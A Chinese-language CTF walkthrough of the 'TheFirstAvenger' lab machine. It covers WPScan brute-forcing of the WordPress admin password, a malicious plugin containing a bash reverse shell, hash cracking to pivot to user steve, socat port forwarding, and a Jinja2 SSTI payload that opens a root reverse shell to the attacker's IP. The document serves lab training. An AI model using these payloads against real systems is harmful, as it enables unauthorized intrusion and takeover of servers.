TheFirstAvenger

image

信息搜集

192.168.43.53

端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
┌──(root㉿kali)-[/tmp/aaa]
└─# rustscan -a 192.168.43.53        
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Port scanning: Making networking exciting since... whenever.

[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. 
Open 192.168.43.53:22
Open 192.168.43.53:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-14 08:13 EDT
Initiating ARP Ping Scan at 08:13
Scanning 192.168.43.53 [1 port]
Completed ARP Ping Scan at 08:13, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 08:13
Completed Parallel DNS resolution of 1 host. at 08:13, 0.04s elapsed
DNS resolution of 1 IPs took 0.05s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 08:13
Scanning 192.168.43.53 [2 ports]
Discovered open port 80/tcp on 192.168.43.53
Discovered open port 22/tcp on 192.168.43.53
Completed SYN Stealth Scan at 08:13, 0.02s elapsed (2 total ports)
Nmap scan report for 192.168.43.53
Host is up, received arp-response (0.00040s latency).
Scanned at 2026-04-14 08:13:16 EDT for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64
MAC Address: 08:00:27:86:0E:78 (PCS Systemtechnik/Oracle VirtualBox virtual NIC)

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.21 seconds
           Raw packets sent: 3 (116B) | Rcvd: 3 (116B)

‍

image

写入hosts

1
192.168.43.53 thefirstavenger.thl

‍

枚举

由于是个wordpress的网站所以使用wpscan枚举插件和用户

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
┌──(root㉿kali)-[~]
└─# wpscan --url http://thefirstavenger.thl/wp1/ --api-token you_api_token --enumerate u,vp --plugins-detection aggressive
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
 
[+] URL: http://thefirstavenger.thl/wp1/ [192.168.43.53]
[+] Started: Sun Apr 19 10:41:54 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://thefirstavenger.thl/wp1/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://thefirstavenger.thl/wp1/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://thefirstavenger.thl/wp1/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://thefirstavenger.thl/wp1/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.6.2 identified (Insecure, released on 2024-09-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/index.php/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
 |  - http://thefirstavenger.thl/wp1/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
 |
 | [!] 2 vulnerabilities identified:
 |
 | [!] Title: WP < 6.8.3 - Author+ DOM Stored XSS
 |     Fixed in: 6.6.4
 |     References:
 |      - https://wpscan.com/vulnerability/c4616b57-770f-4c40-93f8-29571c80330a
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58674
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-cross-site-scripting-xss-vulnerability
 |      -  https://wordpress.org/news/2025/09/wordpress-6-8-3-release/
 |
 | [!] Title: WP < 6.8.3 - Contributor+ Sensitive Data Disclosure
 |     Fixed in: 6.6.4
 |     References:
 |      - https://wpscan.com/vulnerability/1e2dad30-dd95-4142-903b-4d5c580eaad2
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-58246
 |      - https://patchstack.com/database/wordpress/wordpress/wordpress/vulnerability/wordpress-wordpress-wordpress-6-8-2-sensitive-data-exposure-vulnerability
 |      - https://wordpress.org/news/2025/09/wordpress-6-8-3-release/

[+] WordPress theme in use: twentytwentyfour
 | Location: http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Readme: http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | [!] Directory listing is enabled
 | Style URL: http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.2'

[+] Enumerating Vulnerable Plugins (via Aggressive Methods)
 Checking Known Locations - Time: 00:01:36 <=================================================> (7343 / 7343) 100.00% Time: 00:01:36
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] stop-user-enumeration
 | Location: http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/
 | Last Updated: 2025-12-15T10:48:00.000Z
 | Readme: http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/readme.txt
 | [!] The version is out of date, the latest version is 1.7.7
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/, status: 200
 |
 | [!] 1 vulnerability identified:
 |
 | [!] Title: Stop User Enumeration < 1.7.3 - Protection Bypass
 |     Fixed in: 1.7.3
 |     References:
 |      - https://wpscan.com/vulnerability/19f67d6e-4ffe-4126-ac42-fb23c5017a3e
 |      - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2025-4302
 |
 | Version: 1.6.3 (100% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.3
 | Confirmed By:
 |  Readme - Stable Tag (Aggressive Detection)
 |   - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/readme.txt
 |  Readme - ChangeLog Section (Aggressive Detection)
 |   - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/readme.txt

[+] Enumerating Users (via Passive and Aggressive Methods)
 Brute Forcing Author IDs - Time: 00:00:00 <=====================================================> (10 / 10) 100.00% Time: 00:00:00

[i] User(s) Identified:

[+] admin
 | Found By: Author Posts - Author Pattern (Passive Detection)
 | Confirmed By: Rss Generator (Passive Detection)

[+] WPScan DB API OK
 | Plan: free
 | Requests Done (during the scan): 3
 | Requests Remaining: 14

[+] Finished: Sun Apr 19 10:43:42 2026
[+] Requests Done: 7403
[+] Cached Requests: 9
[+] Data Sent: 2.135 MB
[+] Data Received: 2.936 MB
[+] Memory used: 234.766 MB
[+] Elapsed time: 00:01:47

识别到一个admin管理员用户，wpscan爆破密码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
┌──(root㉿kali)-[~]
└─# wpscan --url http://thefirstavenger.thl/wp1/ --usernames admin --passwords /usr/share/wordlists/rockyou.txt
_______________________________________________________________
         __          _______   _____
         \ \        / /  __ \ / ____|
          \ \  /\  / /| |__) | (___   ___  __ _ _ __ ®
           \ \/  \/ / |  ___/ \___ \ / __|/ _` | '_ \
            \  /\  /  | |     ____) | (__| (_| | | | |
             \/  \/   |_|    |_____/ \___|\__,_|_| |_|

         WordPress Security Scanner by the WPScan Team
                         Version 3.8.28
       Sponsored by Automattic - https://automattic.com/
       @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart
_______________________________________________________________

[i] It seems like you have not updated the database for some time.
 

[+] URL: http://thefirstavenger.thl/wp1/ [192.168.43.53]
[+] Started: Sun Apr 19 10:46:20 2026

Interesting Finding(s):

[+] Headers
 | Interesting Entry: Server: Apache/2.4.58 (Ubuntu)
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] XML-RPC seems to be enabled: http://thefirstavenger.thl/wp1/xmlrpc.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%
 | References:
 |  - http://codex.wordpress.org/XML-RPC_Pingback_API
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/
 |  - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/
 |  - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/

[+] WordPress readme found: http://thefirstavenger.thl/wp1/readme.html
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] Upload directory has listing enabled: http://thefirstavenger.thl/wp1/wp-content/uploads/
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 100%

[+] The external WP-Cron seems to be enabled: http://thefirstavenger.thl/wp1/wp-cron.php
 | Found By: Direct Access (Aggressive Detection)
 | Confidence: 60%
 | References:
 |  - https://www.iplocation.net/defend-wordpress-from-ddos
 |  - https://github.com/wpscanteam/wpscan/issues/1299

[+] WordPress version 6.6.2 identified (Insecure, released on 2024-09-10).
 | Found By: Rss Generator (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/index.php/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>
 |  - http://thefirstavenger.thl/wp1/index.php/comments/feed/, <generator>https://wordpress.org/?v=6.6.2</generator>

[+] WordPress theme in use: twentytwentyfour
 | Location: http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/
 | Last Updated: 2025-12-03T00:00:00.000Z
 | Readme: http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/readme.txt
 | [!] The version is out of date, the latest version is 1.4
 | [!] Directory listing is enabled
 | Style URL: http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/style.css
 | Style Name: Twenty Twenty-Four
 | Style URI: https://wordpress.org/themes/twentytwentyfour/
 | Description: Twenty Twenty-Four is designed to be flexible, versatile and applicable to any website. Its collecti...
 | Author: the WordPress team
 | Author URI: https://wordpress.org
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.2 (80% confidence)
 | Found By: Style (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/wp-content/themes/twentytwentyfour/style.css, Match: 'Version: 1.2'

[+] Enumerating All Plugins (via Passive Methods)
[+] Checking Plugin Versions (via Passive and Aggressive Methods)

[i] Plugin(s) Identified:

[+] stop-user-enumeration
 | Location: http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/
 | Last Updated: 2025-12-15T10:48:00.000Z
 | [!] The version is out of date, the latest version is 1.7.7
 |
 | Found By: Urls In Homepage (Passive Detection)
 | Confirmed By: Urls In 404 Page (Passive Detection)
 |
 | Version: 1.6.3 (100% confidence)
 | Found By: Query Parameter (Passive Detection)
 |  - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/frontend/js/frontend.js?ver=1.6.3
 | Confirmed By:
 |  Readme - Stable Tag (Aggressive Detection)
 |   - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/readme.txt
 |  Readme - ChangeLog Section (Aggressive Detection)
 |   - http://thefirstavenger.thl/wp1/wp-content/plugins/stop-user-enumeration/readme.txt

[+] Enumerating Config Backups (via Passive and Aggressive Methods)
 Checking Config Backups - Time: 00:00:01 <====================================================> (137 / 137) 100.00% Time: 00:00:01

[i] No Config Backups Found.

[+] Performing password attack on Xmlrpc against 1 user/s
[SUCCESS] - admin / spongebob                                                                                                      
Trying admin / taylor Time: 00:00:01 <                                                      > (95 / 14344487)  0.00%  ETA: ??:??:??

[!] Valid Combinations Found:
 | Username: admin, Password: spongebob

[!] No WPScan API Token given, as a result vulnerability data has not been output.
[!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register

[+] Finished: Sun Apr 19 10:46:26 2026
[+] Requests Done: 237
[+] Cached Requests: 37
[+] Data Sent: 91.018 KB
[+] Data Received: 161.526 KB
[+] Memory used: 274.859 MB
[+] Elapsed time: 00:00:06

image

成功爆破出admin的登录密码 spongebob

http://thefirstavenger.thl/wp1/admin登录管理员后台

现在需要获取shell。这里使用上传插件功能反弹shell

保存为php文件在给他压缩成zip上传上去，同时使用penelope监听7777端口

1
2
3
4
5
6
7
8
9
10
11
<?php
/**
* Plugin Name: Reverse Shell Plugin
* Plugin URI:
* Description: Reverse Shell Plugin for penetration testing.
* Version:1.0
* Author: Security Analyst
* Author URI: http://www.example.com
*/
exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.43.50/7777 0>&1'");
?>

image

image

image

image

image

成功获取shell，但是现在是www用户需要进一步提权

‍

提权

www -> steve

查看/var/www/html/wp1/wp-config.php里面记录了数据的相关配置

image

登录到数据库中

image

可以看到top_secret数据库中avengers表记录了用户名，其中steve用户是存在于password中的

https://crackstation.net/解密md5

image

steve:thecaptain

1
2
3
4
5
6
7
www-data@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ su steve
Password: 

steve@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ 
steve@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$ id
uid=1000(steve) gid=1000(steve) groups=1000(steve)
steve@TheHackersLabs-Thefirstavenger:/var/www/html/wp1$

‍

steve -> root

1
ps -ef

image

查看进程可以看到一个/opt/app/server.py但是访问/opt/app没权限

1
2
3
4
5
6
7
8
9
10
11
12
13
steve@TheHackersLabs-Thefirstavenger:~$ ss -tunlp
Netid    State     Recv-Q    Send-Q               Local Address:Port         Peer Address:Port    Process    
udp      UNCONN    0         0                       127.0.0.54:53                0.0.0.0:*                  
udp      UNCONN    0         0                    127.0.0.53%lo:53                0.0.0.0:*                  
udp      UNCONN    0         0            192.168.56.101%enp0s8:68                0.0.0.0:*                  
udp      UNCONN    0         0             192.168.43.53%enp0s3:68                0.0.0.0:*                  
tcp      LISTEN    0         128                      127.0.0.1:7092              0.0.0.0:*                  
tcp      LISTEN    0         4096                    127.0.0.54:53                0.0.0.0:*                  
tcp      LISTEN    0         70                       127.0.0.1:33060             0.0.0.0:*                  
tcp      LISTEN    0         4096                 127.0.0.53%lo:53                0.0.0.0:*                  
tcp      LISTEN    0         151                      127.0.0.1:3306              0.0.0.0:*                  
tcp      LISTEN    0         4096                             *:22                      *:*                  
tcp      LISTEN    0         511                              *:80                      *:*

又查看了下监听情况，7092不知道干什么的curl了一下发现是web服务

image

使用socat转发到本地

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
steve@TheHackersLabs-Thefirstavenger:~$ wget http://192.168.43.37:8080/socat
--2026-04-19 15:15:42--  http://192.168.43.37:8080/socat
Connecting to 192.168.43.37:8080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 4838312 (4.6M) [application/octet-stream]
Saving to: ‘socat’

socat                       100%[========================================>]   4.61M  23.2MB/s    in 0.2s    

2026-04-19 15:15:42 (23.2 MB/s) - ‘socat’ saved [4838312/4838312]

steve@TheHackersLabs-Thefirstavenger:~$ chmod +x socat 
steve@TheHackersLabs-Thefirstavenger:~$ ls -al
total 5704
drwxr-x--- 3 steve steve    4096 Apr 19 15:15 .
drwxr-xr-x 3 root  root     4096 Oct  7  2024 ..
lrwxrwxrwx 1 steve steve       9 Oct  8  2024 .bash_history -> /dev/null
drwx------ 2 steve steve    4096 Oct 14  2024 .cache
lrwxrwxrwx 1 steve steve       9 Oct  8  2024 .mysql_history -> /dev/null
-rwxrwxr-x 1 steve steve  975444 Jan  7 11:46 linpeas.sh
-rwxrwxr-x 1 steve steve 4838312 Apr 29  2025 socat
-rw-rw-r-- 1 steve steve      41 Oct  8  2024 user.txt
-rw-rw-r-- 1 steve steve     992 Apr 19 15:14 wget-log
steve@TheHackersLabs-Thefirstavenger:~$ ./socat TCP-LISTEN:8080,fork TCP:127.0.0.1:7092 &
[2] 14494
[1]   Exit 127                socat TCP-LISTEN:8080,fork TCP:127.0.0.1:7092

image

是一个ping，尝试了rce发现并不是，使用wappalyzer查看可以发现使用了flask考虑是不是ssti

image

image

image

证实了就是ssti

1
{{ self.__init__.__globals__.__builtins__.__import__('os').popen('bash -c "exec bash -i &>/dev/tcp/192.168.43.50/8888 <&1"').read() }}

反弹shell获取root shell

image